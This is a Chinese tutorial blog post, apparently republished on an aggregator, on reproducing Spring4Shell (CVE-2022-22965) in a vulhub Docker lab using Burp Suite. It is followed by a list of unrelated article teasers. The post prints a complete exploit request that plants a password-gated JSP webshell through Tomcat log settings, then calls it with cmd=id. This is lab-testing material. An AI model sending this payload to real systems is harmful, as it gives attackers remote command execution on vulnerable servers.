Java 开发 框架安全：Spring 漏洞序列.（CVE-2022-22965）

news2024/11/19 0:49:20

什么叫 Spring 框架.

Spring 框架是一个用于构建企业级应用程序的开源框架。它提供了一种全面的编程和配置模型，可以简化应用程序的开发过程。Spring 框架的核心特性包括依赖注入（Dependency Injection）、面向切面编程（Aspect-Oriented Programming）、声明式事务管理（Declarative Transaction Management）等。依赖注入是 Spring 框架的核心概念之一，它通过将对象之间的依赖关系外部化，使得对象之间的协作更加灵活和可测试。Spring 框架提供了多种方式来实现依赖注入，包括构造函数注入、Setter 方法注入和字段注入。

目录：

什么叫 Spring 框架.

开启 漏洞 靶场：

（1）查看目录：

（2）启用 vulhub 漏洞：

（3）进行浏览：主机的 8080 端口.

进行 漏洞 测试：

第一步：设置代理服务器

（1）设置代理服务器

（2） 新建代理服务器，选择手动代理

（3）使用 刚刚设置的代理.

第二步：执行进行抓包.

 （1）打开Burp，点击代理 设置监听的IP地址和端口

第三步：进行漏洞测试.

开启 漏洞 靶场：

Web安全：iwebsec || vulhub 靶场搭建.（各种漏洞环境集合，一键搭建漏洞测试靶场）_iwebsec靶场-CSDN博客

（1）查看目录：

（1）cd vulhub
 
（2）ls

​ 

（2）启用 vulhub 漏洞：

（1）cd spring                     // 切换到对应的漏洞目录.
 
（2）cd CVE-2022-22965              // 切换到对应的漏洞版本.

（3）docker-compose build           // 建立容器

（4）docker-compose up -d           //   启用漏洞环境.

​ ​

（3）进行浏览：主机的 8080 端口.

​

进行 漏洞 测试：

第一步：设置代理服务器

（1）设置代理服务器（我用的是：OWASP浏览器，也可以用别的浏览器 设置代理服务器就行）

​

（2） 新建代理服务器，选择手动代理  设置127.0.0.1（为本地的IP地址），设置代理的端口8080

​

（3）使用 刚刚设置的代理.

​

第二步：执行进行抓包.

 （1）打开Burp，点击代理 设置监听的IP地址和端口（就是刚刚浏览器设置的代理，127.0.0.1（是本地的IP地址），8080（是监听的端口））

​

（2）进行访问漏洞的链接.（使用 Burp 抓包.）

​

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.32.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

​

第三步：进行漏洞测试.

（1）访问刚才上传的 JSP webshell，并执行任意命令.

http://172.16.10.19:8080/tomcatwar.jsp?pwd=j&cmd=id

​

   

   

  

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1664041.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【Linux笔记】 基础指令（二）

【Linux笔记】 基础指令（二）

风住尘香花已尽 日晚倦梳头 重命名、剪切指令 -- mv 简介&#xff1a; mv 命令是 move 的缩写&#xff0c;可以用来移动文件或者将文件改名&#xff0c;是 Linux 系统下常用的命令&#xff0c;经常用来备份文件或者目录 语法&#xff1a; mv [选项] 源文件或目录 目标文件或目录…
阅读更多...
笨方法自学python（三）-数学计算

笨方法自学python（三）-数学计算

数字和数学计算 这章练习里有很多的数学运算符号。我们来看一遍它们都叫什么名字 plus 加号-minus 减号/ slash 斜杠*asterisk 星号% percent 百分号< less-than 小于号greater-than 大于号< less-than-equal 小于等于号 greater-than-equal 大于等于号 print ("I …
阅读更多...
刷t2、、、

刷t2、、、

、、 public class ThisTest {public static void main(String args[]) {int i;for (;;) {System.out.println(1);}} } while()的循环条件等于for中循环条件。循环体会有一个条件改变等于for中类似自增条件。while()判断条件一般在while前面会初始化跟for中初始化一样。这样 w…
阅读更多...
【讲解下目标追踪】

【讲解下目标追踪】

&#x1f308;个人主页: 程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…
阅读更多...
ECharts系列文章汇总（持续更新中）

ECharts系列文章汇总（持续更新中）

ECharts介绍 ECharts是一款基于JavaScript的数据可视化图表库&#xff0c;提供了直观、生动、可交互、可个性化定制的数据可视化图表。以下是关于ECharts的详细介绍&#xff1a; 发展历程&#xff1a; ECharts最初由百度团队开源&#xff0c;并在2018年初捐赠给Apache基金会&…
阅读更多...
软件工程经济学--期末复习资料

软件工程经济学--期末复习资料

软件工程经济学--期末复习资料 前言第一章 绪论第二章 软件工程经济学基础第三章 软件的成本管理与定价分析第四章 软件工程项目评价方法与经济效果评价第五章 软件生产函数、效益分析及不确定性分析第六章 软件工程项目进度计划的制定结尾总结 前言 软件工程经济学&#xff0…
阅读更多...
Github2024-05-10开日报 Top10

Github2024-05-10开日报 Top10

根据Github Trendings的统计&#xff0c;今日(2024-05-10统计)共有10个项目上榜。根据开发语言中项目的数量&#xff0c;汇总情况如下&#xff1a; 开发语言项目数量Python项目4TypeScript项目4JavaScript项目1Lua项目1C项目1Rust项目1Dart项目1 RustDesk: 用Rust编写的开源远…
阅读更多...
如何映射公司的BS架构系统，出差也能远程访问？

如何映射公司的BS架构系统，出差也能远程访问？

在现代企业运营中&#xff0c;员工出差和分支机构的协同工作变得越来越普遍。然而&#xff0c;如何确保在不同地点的员工都能安全、便捷地访问公司内网的BS&#xff08;Browser/Server&#xff09;架构办公系统&#xff0c;是一个亟待解决的问题。 贝锐花生壳内网穿透服务提供…
阅读更多...
vue 路由url中去掉＃

vue 路由url中去掉＃

修改前效果 想要去掉/# 如何实现&#xff1f; 1、typeScript中去掉url中# 找到项目中的router/index.ts-----------去掉createWebHashHistory中的Hash 将createWebHashHistory修改为createWebHistory 2、javaScript中去掉url中# 找到项目中的router/index.js-----------添加…
阅读更多...
如何批量将十六进制数据转成bin文件

如何批量将十六进制数据转成bin文件

最近在做新项目遇到一个问题&#xff0c;我们要通过上位机把一堆数据通过串口发送给下位机存储&#xff0c;而上位机需要Bin文件。 解决办法&#xff1a; 1)创建一个记事本文件&#xff0c;然后将其后缀修改成.bin 2)然后打开notepad,新建一个文件&#xff0c;随便写下数据 我…
阅读更多...
2024年第九届数维杯大学生数学建模挑战赛B 题思路1.0版本

2024年第九届数维杯大学生数学建模挑战赛B 题思路1.0版本

B题&#xff1a;生物质和煤共热解问题的研究 数维杯分享资料&#xff08;问题一代码论文思路&#xff09;链接&#xff08;18点更新&#xff09;&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1GSv9dkqcY6G-XUnd0sJe_A 提取码&#xff1a;sxjm 题目分析&#xff1…
阅读更多...
RFID在汽车制造中的应用如何改变行业

RFID在汽车制造中的应用如何改变行业

随着工业4.0和中国制造2025的推进&#xff0c;企业对于智能化、自动化的需求日益增长&#xff0c;RFID射频技术在制造业中已经相当普遍了。在如今这瞬息万变的行业与时代中&#xff0c;RFID技术可以帮助企业获得竞争优势&#xff0c;简化日益复杂的生产流程&#xff0c;推动企业…
阅读更多...
Ansible的安装与基础命令的使用

Ansible的安装与基础命令的使用

Ansible Ansible 是一个开源的自动化工具&#xff0c;用于配置管理、应用部署和任务自动化。它由 Michael DeHaan 于 2012 年创建&#xff0c;后来被 Red Hat 收购。Ansible 的设计理念是简单易用&#xff0c;不需要在受管节点上安装任何代理软件&#xff0c;它通过 SSH&#…
阅读更多...
使用 scrapyd 部署 scrapy

使用 scrapyd 部署 scrapy

1.scrapyd 是什么&#xff1f; Scrapyd 是一个用于部署和运行 Scrapy 爬虫项目的服务器应用程序。它使得你可以通过 HTTP 命令来部署、管理和执行多个 Scrapy 爬虫&#xff0c;非常适合持续集成和生产环境中的爬虫部署。 2.安装scrapyd 并使用 2.1 安装 scrapyd F:\scrapydTes…
阅读更多...
飞跨电容型的三电平（FC-NPC）逆变器simulink仿真模型

飞跨电容型的三电平（FC-NPC）逆变器simulink仿真模型

本人搭建了飞跨电容型的三电平逆变器simulink仿真模型&#xff0c;相较于二极管钳位型三电平逆变器而言&#xff0c;钳位二极管变为飞跨的电容。采用SPWM调制和均流均压控制&#xff0c;通过搭建仿真模型得到三电平波形。 三电平拓扑中的飞跨电容是指在电路的输出端使用电容来实…
阅读更多...
[YOLOv8] 用YOLOv8实现指针式圆形仪表智能读数(三)

[YOLOv8] 用YOLOv8实现指针式圆形仪表智能读数(三)

最近研究了一个项目&#xff0c;利用python代码实现指针式圆形仪表的自动读数&#xff0c;并将读数结果进行输出&#xff0c;若需要完整数据集和源代码可以私信。 目录 &#x1f353;&#x1f353;1.yolov8实现圆盘形仪表智能读数 &#x1f64b;&#x1f64b;2.表盘智能读数…
阅读更多...
2024年人工智能数据报告

2024年人工智能数据报告

大家好&#xff0c;我是爱编程的喵喵。双985硕士毕业&#xff0c;现担任全栈工程师一职&#xff0c;热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。…
阅读更多...
图片识别公式神器推荐_mathpix

图片识别公式神器推荐_mathpix

你是否遇到在某个资料上看到一个很复杂的公式&#xff0c;但有懒得再 word 或者其他文件上打出来。 比如这个&#xff1a; 如果直接截图的话&#xff0c;只能说非常丑陋。 推荐一个网站 mathpix&#xff0c;点击 try for free&#xff0c;注册登录。 Mathpix: AI-powered doc…
阅读更多...
【Pip】pip 安装第三方包异常:[SSL:CERTIFICATE_VERIFY_FAILED]解决方案

【Pip】pip 安装第三方包异常:[SSL:CERTIFICATE_VERIFY_FAILED]解决方案

pip 安装第三方包异常:[SSL:CERTIFICATE_VERIFY_FAILED] 大家好 我是寸铁&#x1f44a; 总结了一篇pip 安装第三方包异常:[SSL:CERTIFICATE_VERIFY_FAILED]✨ 喜欢的小伙伴可以点点关注 &#x1f49d; 报错 今天在安装第三方包时报错如下: 解决方案 本质上是需要指定信任的镜像…
阅读更多...
探索国外静态住宅代理：保护网络安全与隐私的利器

探索国外静态住宅代理：保护网络安全与隐私的利器

随着互联网的日益发展&#xff0c;网络安全和隐私保护成为越来越多用户关注的焦点。在这个信息爆炸的时代&#xff0c;如何确保网络活动的匿名性和安全性成为了我们必须面对的问题。国外静态住宅代理作为一种新兴的网络技术&#xff0c;为我们提供了有效的解决方案。 &#xf…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023